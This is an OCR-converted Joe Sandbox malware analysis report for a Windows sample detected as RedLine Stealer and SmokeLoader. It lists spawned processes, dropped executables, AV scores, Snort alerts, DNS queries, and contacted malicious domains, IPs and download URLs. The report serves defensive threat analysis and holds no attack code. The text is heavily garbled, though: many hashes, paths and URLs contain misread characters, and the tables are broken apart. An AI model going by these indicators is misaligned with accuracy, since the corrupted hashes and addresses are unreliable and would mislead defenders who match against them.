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Windows Analysis Report X5ILjSzDd8.exe
Overview

General Information Detection

Sample X5ILjSzDd8.exe
Name: MALICIOUS

Analysis ID: 524289

Classification

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e....

@
«Q
>
2
c
=
@
]

MD5:
743f8fec87ebf7c... Yara detected SmokeLoader
SHA1L:
1bc862eecdeS5i2. System process connects to networ...
SHA256: c9f18cc71c7alfa... "
Detected unpacking (changes PE se...
Antivirus detection for URL or domain
nfos: nBQsnQ —— _
& e Antivirus detection for dropped file
v

. . Multi AV Scanner detection for subm...
Most interesting Screenshot:

RedLine

Benign windows process drops PE f...

SmokelLoader

Multi AV Scanner detection for doma...
Range: 0-100

- Multi AV Scanner detection for dropp...
ﬁ- Whitelisted: false
X Maps a DLL or. memory area into an...
uh Confidence: 100%
-

o

Process

ree

= System is w10x64
. @ X5ILjSzDd8.exe (PID: 6476 cmdline: "C:\Users\user\Desktop\X5ILjSzDd8.exe" MD5: 743F8FEC87EBF7C5D6B392261EC3988F)
o [ X5ILjSzDd8.exe (PID: 6684 cmdline: "C:\Users\user\Desktop\X5ILjSzDd8.exe" MD5: 743F8FEC87EBF7C5D6B392261EC3988F)
o [ explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. @ BEE7.exe (PID: 6768 cmdline: C:\Users\user~1\AppData\Loca\Temp\BEE7.exe MD5: 8EF1AE58E545946BACA2DBC17E135577)
e (B BEE7.exe (PID: 1344 cmdline: C:\Users\user~1\AppData\Local\Temp\BEE7.exe MD5: 8EF1AE58E545946BACA2DBC17E135577)
. ‘ DAGF.exe (PID: 6580 cmdline: C:\Users\user~1\AppData\Loca\Temp\DA6F.exe MD5: D6F23ADF6D5B20A214640C56E570AB2E)
e (B EBE7.exe (PID: 6908 cmdline: C:\Users\user~1\AppData\Local\Temp\ESE7.exe MD5: 5E34695C9F46F1E69CE731D3B7359C88)
. conhost.exe (PID: 4580 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o (B EBE7.exe (PID: 3596 cmdline: C:\Users\user~1\AppData\Local\Temp\ESE7.exe MD5: 5E34695C9F46F1E69CE731D3B7359C88)
e [B] EBSE7.exe (PID: 5480 cmdline: C:\Users\user~1\AppData\Local\Temp\ESE7.exe MD5: 5E34695C9F46F1E69CE731D3B7359C88)
o [H] FB48.exe (PID: 1804 cmdline: C:\Users\user~1\AppData\Local\Temp\FB48.exe MD5: 0198C5A612317A06F11ABBE95294408E)
. |><' 2D0D.exe (PID: 4352 cmdline: C:\Users\user~1\AppData\Local\Temp\2D0OD.exe MD5: A77F1ED5881D44FC95BF3DA05C349385)
. @ rfudbri (PID: 5824 cmdline: C:\Users\user\AppData\Roaming\rfudbri MD5: 743F8FEC87EBF7C5D6B392261EC3988F)
o [m rfudbri (PID: 2016 cmdline: C:\Users\user\AppData\Roaming\rfudbri MD5: 743F8FEC87EBF7C5D6B392261EC3988F)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source Rule Description Author Strings

dump.pcap JoeSecurity_RedLine_1 Yara detected Joe Security
RedLine Stealer

Memory Dumps
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Source Rule Description Author Strings

00000003.00000002.341140573.000000000209 JoeSecurity_SmokeLoader Yara detected Joe Security

1000.00000004.00020000.sdmp 2 SmokelLoader

00000012.00000002.416663548.000000000241 JoeSecurity_SmokelLoader Yara detected Joe Security

0000.00000004.00000001.sdmp 2 SmokelLoader

00000013.00000002.475010529.0000000003B4 SUSP_Double_Base64_En Detects an Florian Roth e Ox2fec8:$: VFZXUUFBT
F000.00000004.00000001.sdmp coded_Executable executable that e 0x8c8d8:$: VFZXUUFBT

has been encoded
with base64 twice

00000013.00000002.475010529.0000000003B4 JoeSecurity_RedLine Yara detected Joe Security
F000.00000004.00000001.sdmp RedLine Stealer
00000003.00000002.341021768.000000000054 JoeSecurity_SmokeLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 SmokeLoader

Click to see the 20 entries

Unpacked PEs

Source Rule Description Author Strings

28.0.E8E7.exe.400000.4.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

28.0.E8E7.exe.400000.6.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

28.0.E8E7.exe.400000.10.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

28.0.E8E7.exe.400000.8.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

19.2.E8E7.exe.3ce5de0.1.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

Click to see the 6 entries

Sigma Overview

No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Antivirus detection for dropped file

Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing: -||

Yara detected SmokeLoader
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System Summary:

]

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

=

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

]

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

K

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected SmokeLoader

K

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Mitre Att&ck Matrix
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Initial Privilege
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Accounts API Loading Loading
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
X5ILjSzDd8.exe 45% Virustotal Browse
X5ILjSzDd8.exe 51% ReversingLabs Win32.Trojan.Babar
X5ILjSzDd8.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\FB48.exe 100% Avira HEUR/AGEN.1137140
C:\Users\user\AppData\Local\Temp\EBE7.exe 100% Avira HEUR/AGEN.1144480
C:\Users\user\AppData\Roaming\rfudbri 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DA6F.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Loca\Temp\BEE7.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FB48.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EBE7.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2D0D.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DA6F.exe 23% Metadefender Browse
C:\Users\user\AppData\Local\Temp\DA6F.exe 54% ReversingLabs Win32.Trojan.Phonzy
C:\Users\user\AppData\Local\Temp\E8SE7.exe 37% Metadefender Browse
C:\Users\user\AppData\Local\Temp\EBE7.exe 67% ReversingLabs ByteCode-

MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\FB48.exe 34% Metadefender Browse
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https://www.virustotal.com/gui/file/c9f18cc71c7a1fa61d43a32dfb858f9aa247324a188f8182981b853266d3b1c7/detection/f-c9f18cc71c7a1fa61d43a32dfb858f9aa247324a188f8182981b853266d3b1c7-1637205947
https://www.metadefender.com/#!/results/file/bzIxMTExOE9iVDJfM2NPOTNHNzFLbjI4UnFU/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTExNTZuYmpyVE5qcUNhM2lybmVqdjI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTExN1JnckQwUXVNYjFRMUJ3aGxfanND/regular/analysis




Source Detection Scanner Label Link
http:/ftempuri.org/Entity/ld10Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld8Response 0% URL Reputation safe

http:/itempuri.org/Entity/ld22Responsex 0% Avira URL Cloud safe
http://https://cdn.discordapp.com4 0% URL Reputation safe
http:/itempuri.org/Entity/ld13Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld19ResponsePp 0% Avira URL Cloud safe
hitp://216.128.137.31/setup.exe%09 2% Virustotal Browse
hitp://216.128.137.31/setup.exe%09 0% Avira URL Cloud  safe
http:/itempuri.org/Entity/ld22Response 0% URL Reputation safe

http:i/https://get.adob 0% URL Reputation safe
http:/ftempuri.org/Entity/ld18Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld3Response 0% URL Reputation safe

PUpI/4557154 ANIZSOGNZIDLFSPIOMEUSOSEOBSS2006A04A e 100%  AVAURLClud  maere
http:i/service.r 0% URL Reputation safe
http:/itempuri.org/Entity/Id9 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
privacytoolzforyou-7000.top 188.225.85.124 true false high
host-file-host0.com 188.225.85.124 true false high
game2030.site 8.209.71.17 true false high
api.ipify.org.herokudns.com 54.91.59.199 true false high
host-file-host6.com 188.225.85.124 true false high
modenm.site 80.66.87.32 true false high
cdn.discordapp.com 162.159.135.233 true false high
iplogger.org 5.9.162.45 true false high
api.ipify.org unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:// false high
https://cdn.discordapp.com/attachments/903028136416002089/910600430113931304/123f.ex

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

162.159.130.233 unknown United States = 13335 CLOUDFLARENETUS false

45.9.20.149 unknown Russian Federation - 35913 DEDIPATH-LLCUS false

188.225.85.124 privacytoolzforyou- Russian Federation - 9123 TIMEWEB-ASRU false
7000.top

162.159.135.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

93.115.20.139 unknown Romania '] 202448 MVPShttpswwwmvpsnetEU  false

Private
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https://www.virustotal.com/gui/url/b4eb5604ca2d6469e9016f5391b4e84c733161a62f755214cb03be46ca768f98/detection/u-b4eb5604ca2d6469e9016f5391b4e84c733161a62f755214cb03be46ca768f98-1637061767
https://www.virustotal.com/gui/url/2e6eb645166e553b72b80fbebbfc12ea2563149b966cb60988b761b2ed825e5e/detection/u-2e6eb645166e553b72b80fbebbfc12ea2563149b966cb60988b761b2ed825e5e-1636862818
https://www.virustotal.com/gui/url/b4eb5604ca2d6469e9016f5391b4e84c733161a62f755214cb03be46ca768f98/detection/u-b4eb5604ca2d6469e9016f5391b4e84c733161a62f755214cb03be46ca768f98-1637061767
https://www.virustotal.com/gui/url/2e6eb645166e553b72b80fbebbfc12ea2563149b966cb60988b761b2ed825e5e/detection/u-2e6eb645166e553b72b80fbebbfc12ea2563149b966cb60988b761b2ed825e5e-1636862818

P
192.168.2.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 524289

Start date: 18.11.2021

Start time: 10:28:13

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 15m 35s
Hypervisor based Inspection enabled: false

Report type: light

Sample file name: X5ILjSzDd8.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 32

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.WinEXE@23/9@53/8

EGA Information: Failed

HDC Information: e Successful, ratio: 69.5% (good quality ratio 60.3%)

e Quality average: 57.3%
e Quality standard deviation: 33.1%

HCA Information: Failed
Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

10:30:09 Task Scheduler Run new task: Firefox Default Browser Agent 687A07C769389B07 path: C:\Users\user\AppData\Roaming\rfudbri

Joe Sandbox View | Context

IPs

No context

Domains
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No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\FB48.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\FB48.exe

ASCII text, with CRLF line terminators

dropped

2701

5.354233613626546

false
48:MXxHKEYHKGD8A0PtHTG1hAHKKPIfHKWp/BHKAHKAHKMTH1LHV1gHGIDOHKeGqHpH3:iqEYqGgAoPtzGleqKPeq2qdgAqqVLIwQ
B9FF048DBE7E276E64420B2644D3D173

C32739040524A4E0B380E59F9FF93394BCIDE983
CCD22F3E8B7FB1EFCC5597B7417C66A57A60BF72E27414B3DDA9271D03D7FD81

107B5BDEG45CE442D2F4DCA43470E7AC90EDB267CB4514637558EF078A4860B9890BFD8021422A6E175509F340A3C258438ADAC6BF321B416BADE3CB6D8504F
D

false

unknown

1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\de05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll*,0..3,"System.Configuration,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Configuration\e82398e9ff6885
d617e4b97e31fb4f02\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\Nativelmages_v4.0.30319_64\System.Xml\f2e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll*,0..3,"System.ServiceModel, Version=4.0.0.0, Culture=neutral,
PublickeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Service

C:\Users\luser\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\E8E7.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\EBE7.exe

ASCII text, with CRLF line terminators

dropped

700

5.346524082657112

false
12:Q3La/KDLI4MWuPk210KbbDLI4AMWUPJKiUrRZ910ZKhat/DLI4M/DLI4MOkvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
65CF801545098D915A06D8318D296A01

456149D5142C75C4CF74D4A11FF400F68315EBDO
32E502D76DBE4F89AEES86A740F8D1CBC112AA4A14D43B9914C785550CCA130F

4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFASDA13140A16A7DEY49DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEABBC6C4A9B4F1D55
D

false

unknown

1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3eOba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft. CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

Process:
File Type:
Category:
Size (bytes):

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows
modified

2897408
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Entropy (8bit): 7.96408094988944

Encrypted: false

SSDEEP: 49152:7ralLLX5hpaf7bDXI90zsxUMYKJY 3j3AX2ET8gBaWWHUsqo/R604p3m084KUz:CLX5hpafT7c8UMCz3AGE4WW6vO47zK

MDS5: A77F1ED5881D44FC95BF3DA05C349385

SHA1L: 7A80066B7F8B335CCC1A85D9847A29251F2875CA

SHA-256: 58BE03E1A79FEDF4F6181COCE9D819F85CB656B00831C55673E15433183D0206

SHA-512: 308A8BFBC3396C53AB3D38D55238C692EAAF42BFB1FA074CF432F6C980AB790144697A726D7E8B60DB82E60AG00A280879FB5D833E4DDSEBGEEF8198AA36864
1

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

1..L.IThis program cannot be run in DOS mode....$....... PE..L

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 285184

Entropy (8bit):  5.903861637679361

Encrypted: false

SSDEEP: 3072:50Zph7yzvg85vIUjHKKGexbDbZ5xQjfskZBP2edIMRpY Q4RXFGGEh9VUjX4xX|EF:Rv5vIUJH3ZnhQog2etRiIRDFLwUli

MD5: 8EF1AE58E545946BACA2DBC17E135577

SHA1L: 5C885447330A3BFD39A1432E876F5315227DC63A

SHA-256: 0C4F067DB78D493CF8966B08555FF8A50E920FE4737786CEASBES348D9785C3C

SHA-512: 35CA7CFEDBD9CD70913A57CA1E1B2BE976E8FB067471805B70867B232A8B89772D773EAFBOFE49AA7BCC14E6A49D85918657EE3EBF2785D15F5E18B5D660EE
E2

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ.oiiiiiiieee @ 1..L.IThis program cannot be run in DOS mode....$.......0.."t..tt..tt..t. Wt]..t..bte..t. Vt...t}.ot...tt..t...t..Stu..t..ftu. .t .atu..tRi

D LW.@..

cht..t ....PE.. h .@..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2893312

Entropy (8bit):  7.966231546908748

Encrypted: false

SSDEEP: 49152:pPZ9vixrXIMNg5FXRmH/pJFiV4dYPGTeZ92ns7Hmph8+zf90Chgf5sU/MAgMn: 1fycFXM/ViOWPseaEGp++zclK5j0A9

MD5: D6F23ADF6D5B20A214640C56E570AB2E

SHAL: F66B986576F1A3210F500D20344E71FE7FOA9F7D

SHA-256: 6524CE487DE16CAF66B4697931AC9A4672FCDD1953E56C68DEOCA464D967E8D2

SHA-512: C146151303F9B2FB138E8216C747E152ACB2261B31DDAFEED8706A743946E0010A44BAC2EOFCE3SEBBACA431E7A546BDB2552102E32FD5E606536772E80BFC54¢
9

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 23%, Browse
e Antivirus: ReversingLabs, Detection: 54%

Reputation: unknown

Preview:

1..L.IThis program cannot be run in DOS mode....$....... PE..L

Process: C:\Windows\explorer.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
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https://www.metadefender.com/#!/results/file/bzIxMTExOE9iVDJfM2NPOTNHNzFLbjI4UnFU/regular/analysis

Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

dropped

399360

3.724595021237698

false

12288:0E8ijGrrl1LjzJMhzhuxmk/dbdX4QlaDcVq:iioD

5E34695C9F46F1E69CE731D3B7359C88

E1E5BB43F0C7556BCCCC8CB698F854694BDC0O24A

97F96815D81F9C1C8EDE31F1C21FDA2BEE7CBAB3490184EF833D9D2E8SC17E6FC
659FA0B695942C35DD4EF499D6C01D9B2A8C23254EA31465A126FD71A0D542EE71DA9349FFC8226083393ED37C0668F63C97CC7EF3E0I4EAE793B1F1BA7D6B:
true

e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 37%, Browse
e Antivirus: ReversingLabs, Detection: 67%

unknown

.L.IThis program cannot be run in DOS mode....$....... PE..L..

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

189440

6.078636969998498

false
3072:7NmwVdUzOLggn5ROIfOghEw9v1LdIrZMAM/sZu537k2Vy92GvBIVT3KyO+YV1pwD:7NtVdTIBhEw9v1LdIrZMAM/sZu537k2n
0198C5A612317A06F11ABBE95294408E

DB2D9F7DA2271C69CD5C4E062DB22F04DOFAB7B9
11CE64503803FA5F190A0AD45CA4A7906685EF9DBI39EF75F50A548944D8664E

8C4FA10884B616FC071C12393F1D7597E230C4B7EF7ADFA3C7254DB40E76BA2C68D30FFCE6323747E5B845493AC53BDBF892E5D13D81800B93858FCEAB48CE
A

true

e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 34%, Browse
e Antivirus: ReversingLabs, Detection: 70%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

342528

5.957059759994645

false

6144:B9LMytcasE/LEUZ/TPrMXiT1B18x93KX:ztcasE/L1jrMmH18x96X

743F8FEC87EBF7C5D6B392261EC3988F

1BC862EECDES5F2C1DE69BCIE3FDD7468DE373D0

C9F18CC71C7A1FA61D43A32DFB858FIAA247324A188F8182981B853266D3B1C7
59156212C7C800920DA3A3F22191799AC4632DDA5A3128B4F7BB8A2856A924DEDF16C470766AC37EF431DF7CC76CC98DF4BB1AF180C70584CAF71CDD288194!
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 51%

unknown

....~..q....K..g....L..q..Ri
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https://www.metadefender.com/#!/results/file/bzIxMTExNTZuYmpyVE5qcUNhM2lybmVqdjI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTExN1JnckQwUXVNYjFRMUJ3aGxfanND/regular/analysis

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYViIrPYV

MDS5: 187F488E27DB4AF347237FE461A079AD

SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256: 255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:

Malicious: true

Reputation: unknown

Preview:

[ZoneTransfer]

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:
DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:

OS Version Minor:

Copyright Joe Security LLC 2021

....Zoneld=0

aedaae9eceab2aa?

0x41c180
text
false
0x400000

windows gui

89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCOCDE1B60FB21CD6¢4

PE32 executable (GUI) Intel 80386, for MS Windows
5.957059759994645

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

X5ILjSzDd8.exe

342528

743f8fec87ebf7c5d6b392261ec3988f
1bc862eecde55f2c1de69bc9e3fdd7468de373d0

c9f18cc71c7alfa61d43a32dfh858f9aa247324a1888182
981b853266d3b1c7

59156212¢7¢800920da3a3f22191799ac4632dda5a3128
b4f7bb8a2856a924dedf16c470766ac37ef431df7cc76cc
98df4bb1af180c70584caf71cdd28819413

6144:B9LMytcasE/LEUZ/TPrMXiT1B18x93KX:ztcasE/L
1jrMmH18x96X

MZ..oooiiiiiiiiiiias @i L.LITh
is program cannot be run in DOS mode....$............ qg...q.
-g...0..9...2.0...{.q....B.....q..Nq....~..q...K.q...L..g..
Rich.q..coveiiiie PE.L.EK .covrne

32BIT_MACHINE, EXECUTABLE_IMAGE
TERMINAL_SERVER_AWARE, NX_COMPAT
OX5F6BA345 [Wed Sep 23 19:34:29 2020 UTC]
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General

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: b2e29795cf26e2405a95e142d139ea34

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Ox3aded 0x3a600 False 0.596744512848 data 6.99711760702 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x3c000 0x1b850a4 0x1a00 unknown unknown unknown unknown IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x1bc2000 0x48d0 0x4a00 False 0.693412162162 data 6.11653354959 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x1bc7000 0x12b10 0x12c00 False 0.0806901041667 data 1.04064012335 IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken

Spanish Paraguay

Divehi; Dhivehi; Maldivian Maldives

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP  DestIP

11/18/21- TCP 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 49870 80 192.168.2.7 8.209.71.17

10:31:36.902511

11/18/21- TCP 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 49871 80 192.168.2.7 8.209.71.17

10:31:39.301982

Network Port Distribution

TCP Packets
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UDP Packets

DNS Queries

Timestamp

Nov 18, 2021 10:30:08.468482971 CET
Nov 18, 2021 10:30:08.741447926 CET
Nov 18, 2021 10:30:10.351627111 CET
Nov 18, 2021 10:30:12.781605959 CET
Nov 18, 2021 10:30:13.013391018 CET
Nov 18, 2021 10:30:15.799488068 CET
Nov 18, 2021 10:30:16.003914118 CET
Nov 18, 2021 10:30:16.186709881 CET
Nov 18, 2021 10:30:16.393234015 CET
Nov 18, 2021 10:30:16.577472925 CET
Nov 18, 2021 10:30:20.826231956 CET
Nov 18, 2021 10:30:21.015887022 CET
Nov 18, 2021 10:30:21.231005907 CET
Nov 18, 2021 10:30:21.489384890 CET
Nov 18, 2021 10:30:23.489267111 CET
Nov 18, 2021 10:30:23.698165894 CET
Nov 18, 2021 10:30:23.903894901 CET
Nov 18, 2021 10:30:24.685193062 CET
Nov 18, 2021 10:30:25.248127937 CET
Nov 18, 2021 10:30:25.503374100 CET
Nov 18, 2021 10:30:29.466130018 CET
Nov 18, 2021 10:30:29.680056095 CET
Nov 18, 2021 10:30:29.874906063 CET
Nov 18, 2021 10:30:30.086523056 CET
Nov 18, 2021 10:30:30.356156111 CET
Nov 18, 2021 10:30:31.286823988 CET
Nov 18, 2021 10:30:31.526957989 CET
Nov 18, 2021 10:30:31.798346996 CET
Nov 18, 2021 10:30:32.065603018 CET
Nov 18, 2021 10:30:32.250958920 CET
Nov 18, 2021 10:30:32.523453951 CET
Nov 18, 2021 10:30:36.793920040 CET
Nov 18, 2021 10:30:38.116136074 CET

Nov 18, 2021 10:30:38.330163956 CET

Copyright Joe Security LLC 2021

Source IP

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Trans ID

Oxed65

0x56e0

Oxff14

Oxb7e4

0x8e70

0x73c9

0x4d48

0x8d2

0x7b6c

0x5e50

Oxdc42

0xe5d6

Oxe4d8

0x1d78

0xdc19

Ox6cel

0x2e56

Ox4cb5

Oxe5b

0xf093

Oxbel7

Oxd05e

0x3baf

Oxbagl

Oxac85

0xb638

0x2317

Ox2ef4

0xd565

Oxaa6c

0x86fe

0xb4do

Oxf8fd

0x78c5

OP Code
Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

